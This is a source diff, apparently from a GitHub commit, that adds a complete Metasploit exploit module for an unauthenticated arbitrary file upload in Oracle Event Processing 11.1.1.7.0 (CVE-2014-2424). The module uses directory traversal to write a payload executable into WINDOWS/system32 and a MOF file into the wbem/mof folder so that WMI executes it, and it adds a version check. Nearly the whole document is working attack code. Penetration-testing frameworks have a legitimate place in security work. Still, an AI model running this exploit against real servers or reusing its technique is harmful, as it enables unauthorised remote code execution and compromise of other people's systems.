|
| 1 | +## |
| 2 | +# This module requires Metasploit: http//metasploit.com/download |
| 3 | +# Current source: https://github.com/rapid7/metasploit-framework |
| 4 | +## |
| 5 | + |
| 6 | +require 'msf/core' |
| 7 | + |
| 8 | +class Metasploit3 < Msf::Exploit::Remote |
| 9 | + Rank = ExcellentRanking |
| 10 | + |
| 11 | + include Msf::Exploit::Remote::HttpClient |
| 12 | + include Msf::Exploit::EXE |
| 13 | + include Msf::Exploit::WbemExec |
| 14 | + include Msf::Exploit::FileDropper |
| 15 | + |
| 16 | + def initialize(info = {}) |
| 17 | + super(update_info(info, |
| 18 | + 'Name' => 'Oracle Event Processing FileUploadServlet Arbitrary File Upload', |
| 19 | + 'Description' => %q{ |
| 20 | + This module exploits an Arbitrary File Upload vulnerability in Oracle Event Processing |
| 21 | + 11.1.1.7.0. The FileUploadServlet component, which requires no authentication, can be |
| 22 | + abused to upload a malicious file onto an arbitrary location due to a directory traversal |
| 23 | + flaw, and compromise the server. By default Oracle Event Processing uses a Jetty |
| 24 | + Application Server without JSP support, which limits the attack to WbemExec. The current |
| 25 | + WbemExec technique only requires arbitrary write to the file system, but at the moment the |
| 26 | + module only supports Windows 2003 SP2 or older. |
| 27 | + }, |
| 28 | + 'License' => MSF_LICENSE, |
| 29 | + 'Author' => |
| 30 | + [ |
| 31 | + 'rgod <rgod[at]autistici.org>', # Vulnerability Discovery |
| 32 | + 'juan vazquez' # Metasploit module |
| 33 | + ], |
| 34 | + 'References' => |
| 35 | + [ |
| 36 | + ['CVE', '2014-2424'], |
| 37 | + ['ZDI', '14-106'], |
| 38 | + ['BID', '66871'], |
| 39 | + ['URL', 'http://www.oracle.com/technetwork/topics/security/cpuapr2014-1972952.html'] |
| 40 | + ], |
| 41 | + 'DefaultOptions' => |
| 42 | + { |
| 43 | + 'WfsDelay' => 5 |
| 44 | + }, |
| 45 | + 'Payload' => |
| 46 | + { |
| 47 | + 'DisableNops' => true, |
| 48 | + 'Space' => 2048 |
| 49 | + }, |
| 50 | + 'Platform' => 'win', |
| 51 | + 'Arch' => ARCH_X86, |
| 52 | + 'Targets' => |
| 53 | + [ |
| 54 | + ['Oracle Event Processing 11.1.1.7.0 / Windows 2003 SP2 through WMI', {}] |
| 55 | + ], |
| 56 | + 'DefaultTarget' => 0, |
| 57 | + 'DisclosureDate' => 'Apr 21 2014')) |
| 58 | + |
| 59 | + register_options( |
| 60 | + [ |
| 61 | + Opt::RPORT(9002), |
| 62 | + # By default, uploads are stored in: |
| 63 | + # C:\Oracle\Middleware\user_projects\domains\<DOMAIN>\defaultserver\upload\ |
| 64 | + OptInt.new('DEPTH', [true, 'Traversal depth', 7]) |
| 65 | + ], self.class) |
| 66 | + end |
| 67 | + |
| 68 | + def upload(file_name, contents) |
| 69 | + post_data = Rex::MIME::Message.new |
| 70 | + post_data.add_part(rand_text_alpha(4 + rand(4)), nil, nil, "form-data; name=\"Filename\"") |
| 71 | + post_data.add_part(contents, "application/octet-stream", "binary", "form-data; name=\"uploadfile\"; filename=\"#{file_name}\"") |
| 72 | + data = post_data.to_s |
| 73 | + |
| 74 | + res = send_request_cgi({ |
| 75 | + 'uri' => '/wlevs/visualizer/upload', |
| 76 | + 'method' => 'POST', |
| 77 | + 'ctype' => "multipart/form-data; boundary=#{post_data.bound}", |
| 78 | + 'data' => data |
| 79 | + }) |
| 80 | + |
| 81 | + res |
| 82 | + end |
| 83 | + |
| 84 | + def traversal |
| 85 | + "../" * datastore['DEPTH'] |
| 86 | + end |
| 87 | + |
| 88 | + def exploit |
| 89 | + print_status("#{peer} - Generating payload and mof file...") |
| 90 | + mof_name = "#{rand_text_alpha(rand(5)+5)}.mof" |
| 91 | + exe_name = "#{rand_text_alpha(rand(5)+5)}.exe" |
| 92 | + exe_content = generate_payload_exe |
| 93 | + mof_content = generate_mof(mof_name, exe_name) |
| 94 | + |
| 95 | + print_status("#{peer} - Uploading the exe payload #{exe_name}...") |
| 96 | + exe_traversal = "#{traversal}WINDOWS/system32/#{exe_name}" |
| 97 | + res = upload(exe_traversal, exe_content) |
| 98 | + |
| 99 | + unless res && res.code == 200 && res.body.blank? |
| 100 | + print_error("#{peer} - Unexpected answer, trying anyway...") |
| 101 | + end |
| 102 | + register_file_for_cleanup(exe_name) |
| 103 | + |
| 104 | + print_status("#{peer} - Uploading the MOF file #{mof_name}") |
| 105 | + mof_traversal = "#{traversal}WINDOWS/system32/wbem/mof/#{mof_name}" |
| 106 | + upload(mof_traversal, mof_content) |
| 107 | + register_file_for_cleanup("wbem/mof/good/#{mof_name}") |
| 108 | + end |
| 109 | + |
| 110 | + def check |
| 111 | + res = send_request_cgi({ |
| 112 | + 'uri' => '/ohw/help/state', |
| 113 | + 'method' => 'GET', |
| 114 | + 'vars_get' => { |
| 115 | + 'navSetId' => 'cepvi', |
| 116 | + 'navId' => '0', |
| 117 | + 'destination' => '' |
| 118 | + } |
| 119 | + }) |
| 120 | + |
| 121 | + if res && res.code == 200 |
| 122 | + if res.body.to_s.include?("Oracle Event Processing 11g Release 1 (11.1.1.7.0)") |
| 123 | + return Exploit::CheckCode::Detected |
| 124 | + elsif res.body.to_s.include?("Oracle Event Processing 12") |
| 125 | + return Exploit::CheckCode::Safe |
| 126 | + end |
| 127 | + end |
| 128 | + |
| 129 | + Exploit::CheckCode::Unknown |
| 130 | + end |
| 131 | + |
| 132 | +end |
0 commit comments